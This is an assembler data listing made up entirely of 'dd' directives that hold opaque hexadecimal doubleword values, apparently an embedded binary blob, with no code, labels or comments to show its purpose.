dd 28804138h, 0D4DCA05Ch, 0D7CC03FAh, 0AA83C804h, 54428990h
dd 0E43A9509h, 10E0D1C4h, 4EE0DD1Ah, 86D09003h, 0F00023CDh
dd 6B28E7FFh, 0E85B11A3h, 89680296h, 0D30F8284h, 0FA50407Eh
dd 375900E0h, 0EE8398ADh, 6200BB24h, 58BF4111h, 26C7727Ch
dd 1118C085h, 0FD9D0051h, 45BC8E09h, 6E0F0FCEh, 0B5235278h
dd 58000ACCh, 0BDA8941Fh, 1753DBD4h, 4F8EECh, 7DA48580h
dd 0B2C00FD1h, 94326063h, 92E49951h, 822CB23Ah, 0A1405258h
dd 67354C40h, 3FC92E4h, 0EC24DE46h, 56A9E957h, 79ADC87Bh
dd 2B9030DCh, 0B43EBD12h, 8F161658h, 520018A7h, 7E4EF705h
dd 0ECE106BDh, 2889C434h, 6BE22818h, 9C4131h, 5F31140Dh
dd 89BC844Ah, 0E0C5212h, 0AB00C4E3h, 3EAA4FC1h, 0D008E01h
dd 0F42615D6h, 7CF24EB9h, 0B32E0BD0h, 0FC095758h, 0E3086059h
dd 0C4B46727h, 723F09A1h, 791401A4h, 0A99B71C7h, 0C5D9D4F7h
dd 97F69100h, 0EF81053Fh, 0C0B34A8Ch, 9F00A9Ch, 3304A090h
dd 61128621h, 982218BCh, 0FD03F37Ch, 0F9C2D5FEh, 1E60A725h
dd 2DD80D4Eh, 544ADD1Ch, 0F0DED499h, 0A100874Ah, 0E295ADEAh
dd 3865BD44h, 24CC71EBh, 1058E502h, 0CC6316F3h, 559088B4h
dd 0D8610B00h, 3C7C1174h, 0E673E486h, 0EB521D65h, 0A435138Ch
dd 48016C98h, 0C6F1E90Eh, 77C0BC57h, 0BE810A37h, 80909C21h
dd 0F91A4A82h, 48B8B27Dh, 670244h, 0AA27A674h, 1A73D068h
dd 0A870F0FCh, 107214B2h, 88228429h, 0C31CBD82h, 58597Dh
dd 37A81B44h, 843B5878h, 11E3896Ch, 0F0802BBh, 0B38898D5h
dd 0BEAD2481h, 60102F00h, 6B00E97Eh, 0E7C5A218h, 0BCBE46h
dd 22B86549h, 5AD7A02Fh, 0FC6A1724h, 0C59E6360h, 0DB840098h
dd 24FFB491h, 7825E469h, 2CCCE419h, 3A9A48E3h, 0D3072902h
dd 0A760AA31h, 3400E745h, 0F5A04187h, 5C67DE88h, 3172BBC5h
dd 5E118F52h, 0D3B07057h, 9E492E3Fh, 7212511Fh, 888A7838h
dd 0ED061791h, 0CAD5795Eh, 0A5100F0h, 0D2160D64h, 7748E3F7h
dd 81BC06DCh, 3B1861A5h, 0F500594Ch, 8384355Ah, 0E3171FECh
dd 6800C614h, 0FA53D281h, 0EE572CB2h, 0F78B006Dh, 3C1D4F9Eh
dd 50AD2607h, 10B0F856h, 58997863h, 720C5447h, 0A408A5Bh
dd 0CE59B20h, 54BBB31Bh, 0E800A318h, 441658E1h, 2851BCC3h
dd 0CCA278h, 0C28B1FD2h, 50E9607Ch, 0AB602FEAh, 0B5F2B30h
dd 0F1610B4Eh, 688CDB54h, 0EB8130E8h, 0C9E910F2h, 43117C44h
dd 0A83C8C62h, 89C53064h, 0B020F4E9h, 23766580h, 2FE47469h
dd 0BDC0F8E8h, 0B3F798DDh, 0FA0070E0h, 8826C203h, 7543C4h
dd 49CC59A8h, 0A561F409h, 0E6BD9B0Eh, 50DE40CEh, 26F922Dh
dd 28B406Eh, 46091F4h, 1509B466h, 50C0EFD4h, 98213D4Ch
dd 8376D687h, 0A530C41Dh, 77B16020h, 0D20F9090h, 6127870Fh
dd 0A3782260h, 3051A070h, 5D208D3Dh, 0CC140AB2h, 0E520EEA4h
dd 8B20D110h, 401E41h, 0C424B6E8h, 743746B8h, 95700701h
dd 60A12E04h, 2E780130h, 14CDEDh, 0F40F7B6h, 24A19CD6h
dd 0E047103Bh, 3020F2Eh, 0BFA0D6C7h, 56AACE4h, 8604189Dh
dd 0B67E01F4h, 59DECAEBh, 2A346187h, 3674828h, 7F5B9A52h
dd 75B098B5h, 6008215h, 0D911C1CAh, 4D381A14h, 0BE1208E6h
dd 0D3100367h, 76C1BF2Dh, 28844274h, 150150F9h, 7CE0101Ah
dd 3E9D9434h, 17185C63h, 0B6D018AFh, 74817C83h, 9C28B0DFh
dd 71018008h, 60B8C81Bh, 0A062781Dh, 818799Dh, 0F94421h
dd 0DD406514h, 837EF30Bh, 396FEA12h, 0F2E70400h, 6C563E3h
dd 980A1F64h, 0BC0B1807h, 7A35FA21h, 4F460484h, 91E3A24Bh
dd 9865E738h, 0A4218E08h, 574B0377h, 0C1E94F70h, 7B7D8BF8h
dd 953F04B0h, 2C0B28D2h, 83EA1F0Ch, 1D1030h, 2049E3E0h
dd 0FA6F9964h, 0B3876703h, 0C041458Eh, 0C153DAh, 97ECB063h
dd 0E33B9385h, 0B842022Eh, 6765CC00h, 1538310h, 0DF3FC658h
dd 0FB75A7BBh, 120A40CFh, 6F006CF7h, 0E82EF33h, 7C2C9299h
dd 0A37E00E7h, 0E560B46Dh, 5F00C6CCh, 82EC36Bh, 391FFFDDh
dd 0CF00AF70h, 0B22BD544h, 0A900FC7Bh, 993A3937h, 795A3DCh
dd 36D0D88h, 0A570A043h, 0EB0077B2h, 83B03772h, 133834h
dd 0DE4DB44Eh, 50EFA6B3h, 89FC58h, 8EF0BF76h, 1FE4ECA9h
dd 40B0CF9Ah, 361B5133h, 0D100DE9Fh, 6E604C6Dh, 0C0DABED4h
dd 30239620h, 76004257h, 0EE9855FBh, 343788h, 0C9EA034Ch
dd 17656A24h, 0FCC79D1Dh, 6E2F8C00h, 601BCF96h, 41B00886h
dd 9A005B40h, 8951248h, 3037A405h, 9E20908Ch, 2607547Fh
dd 68815D8Dh, 0D1E29970h
dd 34AE0F31h, 0BFE60D5Ah, 50E291D7h, 21D0FF00h, 4C85D95Dh
dd 7C2603F0h, 0AC2B9A13h, 156C02C7h, 100A78Fh, 46B7F04Fh
dd 671438h, 88A6036Bh, 2A901F94h, 0FC8480E4h, 17EA00FBh
dd 8A0FD055h, 4D00B1DBh, 3F5A2D6Eh, 0FE398CFh, 0CC1D5FBEh
dd 7B6BA661h, 294880C0h, 4AFE633h, 9DA50C2Ah, 0CFA8BE52h
dd 8313DD02h, 80FAACF3h, 10B7EF8Ch, 0ED3D00F1h, 13FDE97h
dd 3106CE8Dh, 0ACEB4307h, 0A4E10050h, 8AD8CAC1h, 13015675h
dd 5C3FD7E3h, 1880C60Bh, 0BC457A41h, 4300D4CFh, 4E93DBD5h
dd 0C2ABB9h, 5E5C22CAh, 95DCCC3Ch, 7E47348h, 0ECDBA0B1h
dd 3183A86h, 5BF6591Dh, 0BE1D998h, 65D0E049h, 4700A178h
dd 0E13041A8h, 1555DAh, 4DC2AADBh, 3D40935Ch, 0D1D5E200h
dd 0B1781456h, 185BF03Fh, 80C84E08h, 59302C4Bh, 385D18AAh
dd 40E0609Ch, 1CFFEFCAh, 7D60E97Fh, 915D4568h, 0DCD300ADh
dd 0ED47E1C3h, 0A0C2256Dh, 0FDD8F057h, 4098BC0Eh, 0B1305D98h
dd 6B8E5899h, 851A01DEh, 9D2DCAC0h, 47188096h, 0C358C74Ah
dd 8CF1ED4h, 0B8110A40h, 0EB4B0094h, 0CBF28D5Bh, 0E0F95C39h
dd 75E91F58h, 8848A079h, 0DDB02270h, 2F40157Ch, 5C931841h
dd 135FC8C9h, 0B5E8CE62h, 752136A6h, 1F6ACF79h, 0D23200C0h
dd 5D41D9AEh, 682D9E31h, 0B8501EE9h, 5103F819h, 58A1F858h
dd 0E918D604h, 7210DF64h, 90C360E8h, 224760E1h, 6823DB00h
dd 0E9DDB4CDh, 0D072032Ah, 0C11579C2h, 44CC2910h, 0CA03F400h
dd 9BD4092Ah, 9503617Bh, 109DBE5Eh, 0EDD6902Ch, 824B3FE4h
dd 6C406000h, 0A404D8E0h, 0B6B02E00h, 78A864FCh, 0DDCE00B7h
dd 0DB4E3B6Dh, 221E83C5h, 15DD97A4h, 1B6B8440h, 38CFF42Eh
dd 0A80E339Ch, 0F66650h, 7A47DCB0h, 80003E28h, 0A11ABAC8h
dd 58EEA226h, 0C6040593h, 0C166ED31h, 0F0924877h, 900EAF91h
dd 0A082DD67h, 62B45019h, 0DE710095h, 0EB7AAD1Dh, 0CC030F4Ah
dd 76D74618h, 0DC29E85Ah, 73B00396h, 47EE1A8Fh, 0F5CF4001h
dd 0C40B6B3Dh, 6DFBAC40h, 349B0767h, 506CB717h, 0EB3F8060h
dd 2389D400h, 0B32FBD20h, 22740030h, 44C2C84Ah, 7004872h
dd 0FDB4676Fh, 5ABFD9h, 1F0B58B2h, 460802Ah, 420096F0h
dd 71B8125Dh, 32476Dh, 61C2F45Bh, 5EA34D1Dh, 6544ED0Eh
dd 0A897602Fh, 0A7B47Bh, 0C0694718h, 0CC1BCDD4h, 67F93D00h
dd 7FC51EA2h, 0A000B0A7h, 0F1C304h, 0B4E325BDh, 7B5450F8h
dd 2136CCA0h, 0E50CC800h, 664512F2h, 376C0057h, 0EBA6203Ch
dd 0FC0159FEh, 0B4904C87h, 0BEE805B9h, 6A49006Eh, 5E439CA8h
dd 801A640h, 1219E98h, 3AF8CC26h, 0BC7511h, 0EEBBF20Eh
dd 1E6C3EADh, 4F029AF0h, 7993C05Ch, 788C6038h, 5886FAAEh
dd 0B9000ADAh, 5C1EAA9h, 1D1D2D56h, 0D180C30Ah, 0C8B6769h
dd 0D2830ECAh, 87C12ECCh, 0E06A3C88h, 954D10F7h, 74530EB0h
dd 3764C046h, 0A31D03h, 0FE5BF43Fh, 82AF5984h, 0E7314301h
dd 0A5ACC8E9h, 6A2030h, 3B38816Bh, 0F473D81Ah, 75EDDC00h
dd 0F506087Dh, 1C5C90C1h, 8053CF3Eh, 0E729DD35h, 0E503DAC3h
dd 11781D82h, 48C0922Fh, 7FBA770h, 995D6C61h, 1201A9D6h
dd 0DC245AC4h, 0D8016306h, 293E0803h, 0DC20D931h, 16C900CBh
dd 1A6A8723h, 0DF00F72Fh, 0C30165F3h, 7D1F4607h, 0BC69000Bh
dd 0E61EEC80h, 0A600677Eh, 591C4F9Bh, 31423Ah, 0C4472E74h
dd 0EAA55885h, 0B793F80Eh, 8B98E084h, 7590D808h, 49CD1D26h
dd 0F0C2890Ch, 1C25DF09h, 29E40E81h, 0A68B3400h, 1B24B97Eh
dd 0E0068F7h, 0F6EFA4E6h, 76177E27h, 0C4FB4872h, 0AF2E5900h
dd 42D46D15h, 96E00812h, 0C70DC500h, 0CCA83Eh, 87656F72h
dd 0E4D31320h, 9586B01h, 22D75ADDh, 0C240F8h, 49AFD7Fh
dd 0E4C7AB27h, 8C6BF430h, 1D8D8Ch, 0E6BDE7E2h, 5DFB0B32h
dd 1A53D600h, 6BF0C9CDh, 8BC1C02Fh, 5EA21C35h, 7C313000h
dd 0F8667745h, 15F100E4h, 0E9F25162h, 291FED88h, 3007D41Fh
dd 9EC05C49h, 0E63175BBh, 19FA1FDEh, 144A6FCh, 7CDB1707h
dd 0BA14C8F4h, 830C403Fh, 0C39A42E8h, 800D92D3h, 0B7FED49Fh
dd 0B0010078h, 0D11A48FBh, 0B500A8F4h, 0D473F98h, 0E2ADF267h
dd 4829059Ah, 0DB025Dh, 7C708FCh, 9B145F65h, 0E806BDh
dd 37D1C9ABh, 2556EDh, 0C1042161h, 3C8C6FAh, 3D7B4C00h
dd 73B69A38h, 0A9D23A93h, 7617CA80h, 3197BE32h, 88902001h
dd 1CCEC05Ah, 0FC6EB5E4h, 8D811D5Eh, 40F4D215h, 0C20B4CCCh
dd 7F280D53h, 7203F4A0h, 193EA39Bh, 4D05E1D1h, 29E1E4h
dd 8223B246h, 42EA8FA5h, 0DF0285B8h, 536D97CEh, 74986069h
dd 0A4EE0C67h, 0AC1015CAh, 0F41CD425h, 2D840EC1h, 41E70F36h
dd 3A345A60h, 0D23B13A9h, 3FE1ACDCh, 0C6ABEE00h, 521DCC77h
dd 620EF8EAh, 0A580D9F5h, 0D8861F97h, 20479CA1h, 4F390EC4h
dd 4A380066h, 0E8B28392h, 2B5A07A4h, 908D86F3h, 0E33A08BFh
dd 92E5BC0Eh, 0C8801C5Eh, 8BDD18F0h, 454300E4h, 9EBB558Eh
dd 54003224h, 0C67F753Bh, 2E1E95h, 52307870h, 1B315BA9h
dd 0DDCB3703h, 0D20C02C1h, 0CAB4C83Ch, 4CBC0B6Eh, 0F8810634h
dd 30793167h, 18B06BFEh, 2A0097F2h, 0E6CE98D1h, 72FDD3C0h
dd 322F00B3h, 600C5BDFh, 5C004B6Fh, 1F7B3C70h, 16598C89h
dd 5DDF1945h, 0C5E9C0ECh, 47B6CC63h, 1870DADEh, 192FA743h
dd 1168E380h, 0EA92E0FFh, 6C0F3B00h, 94F841D3h, 3C05F051h
dd 28000DF3h, 0F1271A18h, 0D71C5992h, 5A869B2Eh, 16876D6h
dd 9F8D6E0Ah, 0BD478F11h, 0CA1C9250h, 0B36AB440h, 0F6C2ABC0h
dd 787F17C7h, 0F14042D2h, 66C040E1h, 0B6186FDAh, 4B385E46h
dd 647E01CFh, 0A58FC4Dh, 71319FCEh, 5D6070E8h, 0E5A17468h
dd 0AAF31E54h, 630C015h, 0D9E2079Fh, 0F800CBF0h, 0A4E08E0Eh
dd 573428h, 13D06A79h, 0AC618999h, 0F43B6B00h, 381BAF4Fh
dd 0E6C40062h, 0C07AE2C1h, 0A4006750h, 0C72B59D3h, 5B9D8Ah
dd 1A739295h, 8172BEDDh, 427DC1EFh, 0DE01DC2h, 0CD004CD0h
dd 5B3EA59Fh, 3FC65604h, 1B3F324Ah, 0B47C00F6h, 0FC970199h
dd 0C90ECE6Eh, 219DC1F2h, 0DF3A9E02h, 94CCC4h, 9C43668h
dd 0A54D8C5h, 0A04C7160h, 1841CEh, 12458E5Bh, 0D4F7C581h
dd 8CDB6C0Ah, 2A4094EBh, 3601F7Ah, 0D17C6F4Dh, 8309F71h
dd 8D182106h, 65B9001Fh, 543C0785h, 1E254332h, 0CAE000EDh
dd 0DB4812h, 5379977Fh, 0BDDE845Ch, 0E2CD7800h, 45401ED1h
dd 0CF1512AEh, 8D2402DCh, 0F8A0D6A0h, 0B41E46A2h, 0BF764E01h
dd 0BC0E41DFh, 0B828AFD1h, 1E7E9500h, 26714C23h, 8B35D30Bh
dd 39DD8783h, 78D4CE70h, 0F1030058h, 525C2321h, 0DC01CCD8h
dd 0AADB654Eh, 1888FF1Fh, 642E38B6h, 19E89387h, 0D2C50440h
dd 888CA9CEh, 1F7B7618h, 118F4D23h, 8E04003Bh, 0FB69C61Fh
dd 926000A6h, 88C09A10h, 0A1097F79h, 8AD866D9h, 0B840E4CEh
dd 34714B6h, 0CFB7B440h, 8779C59h, 8F9FA4A8h, 534F1400h
dd 0EA1C34A0h, 0B6030D4Bh, 80B6E882h, 6188C350h, 0D9A6C9h
dd 0D53F1847h, 2FCA218Bh, 8AFFBC00h, 0F2239702h, 47A51E81h
dd 0EB0F00F0h, 579FD41Bh, 0A629D703h, 0F0D0862Bh, 3F1E93BAh
dd 18BACDC6h, 0A30E0C03h, 5A809138h, 0BF002367h, 14F23069h
dd 7231E9h, 66449433h, 0A0981C2Ch, 4DCBB000h, 806049D4h
dd 821501A1h, 0B80E5BC1h, 0B63CECD9h, 0D303F0F0h, 4B47F29Ah
dd 431468Ch, 1E0F5AF0h
dd 0C94C10C0h, 3D629FCh, 0DEDF01B0h, 0A798A44Bh, 5A019635h
dd 4F133A79h, 14473D4Ch, 0D144DC54h, 3B6D44A3h, 48C68344h
dd 0BFF642A9h, 29E40C2Bh, 65F5449Fh, 0BCC53CA0h, 1441B589h
dd 1112FA2Fh, 8BBDBA10h, 0C8F427ECh, 83C0D4Ah, 5D91B845h
dd 487C9D07h, 503D20FAh, 840F0C31h, 0C0CA8CFCh, 0B26C1D6h
dd 0C51800E3h, 645E2A5Ch, 1C386BD7h, 0CFBA042Ch, 8DC0BB17h
dd 73FDC7h, 667CA33Dh, 0DE06FC39h, 5DBA6400h, 0A619F831h
dd 4DC400F2h, 0E49686C5h, 0EE003985h, 0F5B0D327h, 0F3A118h
dd 3FBEDB7Dh, 652E63C2h, 0AF5BC801h, 0EEC93CD6h, 35F170h
dd 0C6165E1Eh, 36822A46h, 0B400BCF2h, 867ACB51h, 65D9DAh
dd 2A08C9B6h, 6B7D8488h, 0E357F900h, 1C9C2B80h, 0C8713BD0h
dd 5E03A201h, 0FCEA7201h, 620070C5h, 18BAC9E5h, 0FA598F34h
dd 0D69C0051h, 0F5A9070Eh, 0A80005CDh, 0CF1DD0FAh, 67186Dh
dd 42FC77A2h, 3F31A9Fh, 0AE83BE03h, 904EE270h, 0DB5762h
dd 0F4CC1FEFh, 23D72F8Eh, 0A06D6C00h, 4AEA5FC7h, 0D69602FAh
dd 2A0648E1h, 803AD1E0h, 1E421300h, 91D79A4Bh, 944500F6h
dd 364D7C1Dh, 8800EC3Ch, 60EA6A74h, 92E00D41h, 2CFC0084h
dd 0B685455Bh, 0F7074E2Dh, 0CD4287B9h, 0E4D2DB80h, 0D34D00E7h
dd 7F51BCD5h, 0F53148D7h, 3F88050h, 0DD6C90D7h, 0E35D00CBh
dd 92568F86h, 6A01FC37h, 600BB64Bh, 30805330h, 0FEF8E99Eh
dd 29001F41h, 92522B69h, 7831A625h, 4F2B4h, 3788CDA1h
dd 44146067h, 0A8557C30h, 4A22AFh, 0EE931AB4h, 7F52C173h
dd 88EFBE00h, 0E0F996FBh, 0C55504E6h, 0AAE97AD9h, 0DA784BC0h
dd 0E2D51CDCh, 8B6B4CF0h, 0B7007CE1h, 8038AD18h, 783FC0EAh
dd 0C564001Ch, 1753349h, 0A300557Ah, 0D06E2816h, 309D53h
dd 0B869BD86h, 81AB8087h, 3EBFB73Dh, 2D2000F9h, 0F458FA28h
dd 2A3B004Ch, 942EAAA9h, 24003DB5h, 0CB99E756h, 3467E71h
dd 20C5E596h, 1CD01F90h, 0BD1813B4h, 0E298829Fh, 4B38009Eh
dd 6A5AEB34h, 0CA308357h, 48A88CE4h, 9AAA003Fh, 919C86E5h
dd 0BF12A50Eh, 0C80F44FFh, 6AD220C5h, 135C8804h, 0A8094Bh
dd 0C3EFA158h, 2200F5DAh, 6F502C79h, 24897A46h, 3CA8BCh
dd 7E8DE3F3h, 0C2005DC3h, 0AFD7FD98h, 0CA5D1h, 4562286Dh
dd 0CF54832Fh, 0D4573700h, 0A3E59341h, 43A21C20h, 75768091h
dd 0B089FBA9h, 14FCBA01h, 92B3839Dh, 0F8D8040h, 0F55C00F7h
dd 0CB911D88h, 0C90527Eh, 0A286EC0Eh, 1FCD60EBh, 84FAA5h
dd 19592D33h, 74997748h, 1BD2C007h, 0D130E18Dh, 4D44DC6Ah
dd 0FB0BC8A3h, 0F2009043h, 947F3C0Eh, 2B5DD00h, 0E3A6E80Ah
dd 0F3D49032h, 78737F8h, 5CB05D24h, 0F3990EAh, 795A90F3h
dd 3800B4F8h, 8E37DA68h, 3E01D0FBh, 0B31553C7h, 0BE20A66Fh
dd 0A8780073h, 0D8E75163h, 0DD1E66C0h, 208032A7h, 0F948D6C1h
dd 0C5CC0EB3h, 0D8E0AAB4h, 8D9D9329h, 2F287B00h, 0DBEBC6C7h
dd 0C1F8001Bh, 5EA05D59h, 0AD0FF5D5h, 0C0602B70h, 278F4087h
dd 80BE002Ah, 21CB2C83h, 0D503A2E5h, 82D42FE0h, 0E9F80039h
dd 0DD1B75EEh, 6600B8ADh, 9C67512Eh, 2B1965h, 0EACB8301h
dd 844C54B9h, 0F0467000h, 49583176h, 0E4AB9834h, 0A357037Ch
dd 760F9D8h, 0B425DCE8h, 9ED04C39h, 0FA0076C3h, 0B5685C32h
dd 369C0318h, 474676Eh, 0BC90DBCAh, 0EB3B4113h, 72A90AB4h
dd 1400B824h, 547D51FDh, 32D8005Eh, 749EFC50h, 2700BACDh
dd 5D01457Ah, 0B6C2E5h, 6506AFEBh, 23CFFDECh, 0AD9340C0h
dd 3E1AB875h, 60804121h, 70F55D5Eh, 0CF480FC0h, 0D0302E4h
dd 80F04BACh, 45FD67BCh, 7AF407D1h, 0E6BC32Dh, 5FE7201h
dd 2630B03Ah, 0EFBC664h, 0B7BBF42Dh, 8C5BBF00h, 1E0445ECh
dd 976296AEh, 0D8E6D683h, 48CC4E61h, 9C1F348Bh, 2312C7C2h
dd 0EEF8C095h, 0CB1C01D7h, 0E02681BCh, 6CC14203h, 0D122909Fh
dd 0BA771CE1h, 0B2267E6Fh, 0FEB804C4h, 0D0C880D7h, 80A84F7Fh
dd 0ED06FCD5h, 239D2FBFh, 922E3E48h, 0C2EB8780h, 49EAA2E3h
dd 0C41BC804h, 0D1EAED46h, 30C39C16h, 0AE00A0B4h, 3F962F64h
dd 0F5D240h, 2DC5F1B7h, 0DFE449CDh, 801B3D3Dh, 4B45320h
dd 7335E1Ch, 0C2802517h, 0E3DFC14Ch, 0BD9892AEh, 80A1DC0Fh
dd 12459E0Fh, 11BEA16h, 76DA40E7h, 302C5CEBh, 0E9775360h
dd 89929801h, 25104534h, 26F69074h, 80B4443Eh, 682FCA22h
dd 91E0DF4Fh, 0D0330D1Eh, 3CF5AC0h, 7A542Ah, 20ACCE7Fh
dd 0C1CB170h, 0B09001F4h, 89A59B03h, 8836AF46h, 3E8A8FCh
dd 9DEB086Eh, 0A0AF2610h, 3FBA9591h, 0BE19450Ch, 0ED80E0h
dd 1B7EDB06h, 886848CCh, 0F0985100h, 0F153FCF5h, 0C3F2E3h
dd 7458D717h, 432F48B4h, 0AEFB2B07h, 0E00C2ADAh, 0F3380B26h
dd 7580D273h, 0C5F969BCh, 0FDBA5205h, 8D08068h, 1CF334h
dd 3B3F29A6h, 959BCAF7h, 0DE149600h, 16AA0EFh, 85EC0045h
dd 790261D7h, 2D9806DFh, 0ABF06500h, 0DBC115A1h, 0E44313D1h
dd 74820C7h, 5A0195B8h, 17AF59B4h, 0D041ADE5h, 0B7043C5h
dd 0D7B019h, 5AC35420h, 9D13B29Eh, 80E7223Ch, 0D7A22A17h
dd 73BCEEF0h, 0F5E60018h, 4DA921C1h, 0FB3F5E8Eh, 3BE38287h
dd 6043707Bh, 2455DFE4h, 63E84246h, 9EB911E8h, 65AC20B0h
dd 70C2F300h, 0B2FFC67Dh, 35DC001Ah, 0A594D20h, 6C00A8B1h
dd 30EAE436h, 81FFA4h, 2F0776C5h, 0DDB4BE0Dh, 50FA8505h
dd 0C4D0BA11h, 37CB65h, 97F375D3h, 0BE09CAA7h, 829CB63Bh
dd 7021D2E5h, 0DCFC8731h, 0A00B10C0h, 0F5DD0184h, 0E339FBE9h
dd 0EBB2E09Dh, 0AEF1600h, 9133A7F6h, 945774B9h, 3E512D4h
dd 0F54EDB68h, 1CE7A3C8h, 18B4A938h, 0DDB02873h, 2FF60058h
dd 0A31E6C17h, 490912D5h, 247A42DCh, 0FC809668h, 0F3BF9DDh
dd 3FC5C1B9h, 449A7880h, 38026DC6h, 0DA06094Ch, 0E174C032h
dd 0A5B0529h, 835E262Ah, 63E87170h, 0B60092BEh, 7C6906B4h
dd 0FAC2CA76h, 0B5092E17h, 0EEB8945Ch, 4C185E00h, 0AECDF95h
dd 60F7023Dh, 0EAADC388h, 6F0700D6h, 33BD6A20h, 0A81E587Fh
dd 0E2C0D027h, 0FBCF0B0Ch, 4940084h, 5AEFDAA5h, 240B0FDDh
dd 80785595h, 0E7B38DE0h, 32520069h, 1DE1A948h, 4AE2204Bh
dd 9D04BE00h, 9CC04FF8h, 30C3723Bh, 0A8D838FEh, 8D0A27D3h
dd 0FBE59B1Eh, 8E150B00h, 3BB225h, 24B6673h, 6BE8D836h
dd 51D4900h, 7BC64FD4h, 6550025h, 39F2C2B2h, 4300D295h
dd 0FC9D873Ch, 70CD7C8Bh, 0F610033h, 9FA1E845h, 0F70070E6h
dd 40A424EAh, 0C8E4F1h, 4C736D53h, 165E02BBh, 0BDFA3702h
dd 40DB2563h, 7D1480h, 0F9552631h, 0F77F7E2Fh, 874A4200h
dd 0E11AB3Ah, 0D2200E5h, 76DD778Eh, 0BA0A98E4h, 0E4C78533h
dd 18F06598h, 972200C5h, 0C8CB447Bh, 905CD64Dh, 0DB097244h
dd 25E5BE5Eh, 74C8C630h, 0C4B80070h, 0ABC09029h, 760009EEh
dd 0BDC9F4F2h, 3C78A351h, 0CE8073C8h, 6FF99568h, 0A7B831AAh
dd 99606607h, 6DE1B0BBh, 12D8CB27h, 4E3900F3h, 0A4FE6A9h
dd 0D4005EFFh, 7A04B087h, 64CFFCh, 0A333C53Fh, 0F56BAD16h
dd 39E03175h, 0FD2CAEF4h, 600B29Fh, 4A09BCA3h, 0E8DE008Eh
dd 10E5F13Eh, 7400A623h, 0AC44921Fh, 7C452h, 1EA4B83Fh
dd 0F7C53CCAh, 9E080E00h, 547A55EBh, 33FD003Dh, 0B68B204h
dd 0A0004077h, 6B9679DEh, 2CB1A92Fh, 0E88D84Fh, 6647EB2Dh
dd 813F1555h, 308D4063h
dd 641DB84Eh, 7B80158Ch, 77D86FB2h, 0B473D7h, 21AADA2Ah
dd 61E98DE7h, 80A3793Ah, 71910D60h, 0FC0987Ch, 2EF65E23h
dd 40564207h, 40124A4Dh, 1C0EE4B8h, 29848FB3h, 0EFFCA07Fh
dd 2E8EC443h, 8AFFBDh, 99A7768Ah, 8F0C5937h, 1007B950h
dd 3A110005h, 40786DB5h, 0F8009127h, 0D773F0C6h, 5F1B813h
dd 0C27D07B4h, 0DE85C0E9h, 0A706416Ch, 3B67409Eh, 2CF70184h
dd 0CFEB9BEAh, 0E1BED0B0h, 137D7890h, 53168400h, 70C3E91h
dd 29920052h, 0EC4DDAE6h, 483FBD40h, 0D488807Ah, 0ABFFA931h
dd 1CCB3F54h, 97531187h, 4BCC8066h, 7500FE7Ah, 4E04580Eh
dd 0F2471AB4h, 0F7D600A0h, 0EA4D8099h, 0C6000C38h, 170406B9h
dd 1229A185h, 87B84662h, 0B1433394h, 1898A7C0h, 26ECBA58h
dd 2B024FE5h, 0C2337BA0h, 124841B4h, 903BD0D3h, 0FDDC0779h
dd 1F0F3F99h, 0D0DC1592h, 33842502h, 918013D6h, 44D96AA9h
dd 0CDAC3400h, 413DE0CEh, 8AA20FF2h, 0C03C2961h, 0A3DEB7CBh
dd 0E2022226h, 69E58DDDh, 45746032h, 546E000Dh, 6B2C7394h
dd 0FB045178h, 918E29E5h, 0E3A9C0C0h, 1EC4EA5Fh, 87D9645Ah
dd 0C42D85FDh, 0D728F0C3h, 0B27C4D00h, 0F18070D5h, 0FBA10528h
dd 805AACDDh, 8F3338FCh, 37BE1100h, 70E4EE67h, 635F00A6h
dd 4B106E9Bh, 3EECD935h, 2124A401h, 65F94A2Ah, 83F6C340h
dd 0FF380F22h, 0BDA0F126h, 3EFCA2EBh, 0E786E000h, 0B18024BBh
dd 0ABFB074Bh, 80780BB5h, 5A5E44C0h, 0FE999B07h, 13B0A039h
dd 5C7582Bh, 0D7D66B26h, 2234917Eh, 86A10FDh, 1C98CBh
dd 0E6C80D02h, 39898C9Fh, 1F6DD0A0h, 0D2F46F03h, 0E9706714h
dd 2C282364h, 40BB4D13h, 0A836CD48h, 0A0755950h, 84E56200h
dd 0D6E9E012h, 49882h, 0FE432EE3h, 7D9704D2h, 6700D9E8h
dd 688D244Ah, 2539B5h, 8E07A427h, 0C615FC37h, 0B04F3C98h
dd 4E21E002h, 8A54C04Dh, 105810B8h, 0C2670196h, 0AFD5F39Eh
dd 7FC0A1C9h, 4E643332h, 0E5E85106h, 1F38EBBFh, 6878874Bh
dd 0B791A219h, 0D9E8DB45h, 9B300E8Bh, 4476A613h, 0A94CA4h
dd 9F59CFFFh, 0F9FE0279h, 1FBCD1ABh, 0A3F06440h, 80CDD43Ah
dd 84305B5Ah, 7CFB0991h, 0B7EB073Fh, 71C70619h, 60DB2E14h
dd 0B65CD560h, 189D09E9h, 0EA48E416h, 11DF001Dh, 59320EB7h
dd 0B01F902h, 0D9EDEF57h, 0AD704AE2h, 58AA0043h, 416DE3FAh
dd 0C90E1DA8h, 5303E5h, 146125BFh, 128C749Ch, 369A52h
dd 1DB151C0h, 750085B6h, 39D7FFC1h, 0BEA8Fh, 0CB19F3E6h
dd 7C50B2B3h, 0D82F1400h, 0AC1F29A5h, 0DC6617F6h, 8790006Ah
dd 6136B7Dh, 0DFEC409Fh, 15B47525h, 0CCC9CC78h, 252B210h
dd 1424AC0Eh, 57A301FBh, 0F07A71C5h, 1D01F501h, 88385FD3h
dd 0CFECB0C7h, 0AFEB00ACh, 0A4742F5Ah, 0E5F4BA84h, 4EF3D00h
dd 5CD835B4h, 126E00F7h, 92B2C9C6h, 0E100AE4Dh, 198028FDh
dd 7E34420h, 701E070Bh, 0C921036Ah, 390620CFh, 1006128h
dd 4B4D44FCh, 379AC71Bh, 30C0C0CCh, 4346D9Bh, 0A5EC80F7h
dd 0FB6724Ch, 7EB7AD4h, 0E8733A0Ch, 0CC56F011h, 0D0F5B15h
dd 630A2E50h, 8B94BA88h, 1C117BD0h, 0FE0B3A92h, 0A883CB07h
dd 8D85C263h, 53378483h, 0C3121AE0h, 5A498201h, 2FDD4C89h
dd 0F2095C38h, 60608575h, 683FB17Eh, 58670471h, 9C804D16h
dd 0E02219AFh, 0AD0100E5h, 0BFB430FCh, 76002ED7h, 0A78287A5h
dd 719E2DB6h, 27D50E07h, 8DC0094Dh, 0E145DB88h, 5340E03h
dd 0BF9060F5h, 0B6046C90h, 9E260032h, 9F54DD22h, 153D11C0h
dd 0C3888023h, 97FD5CE3h, 3E9500AEh, 49BD9044h, 3C035D1Bh
dd 0D04FC7ABh, 0A7E00FFFh, 0BE0DE83h, 4061146Bh, 24733F00h
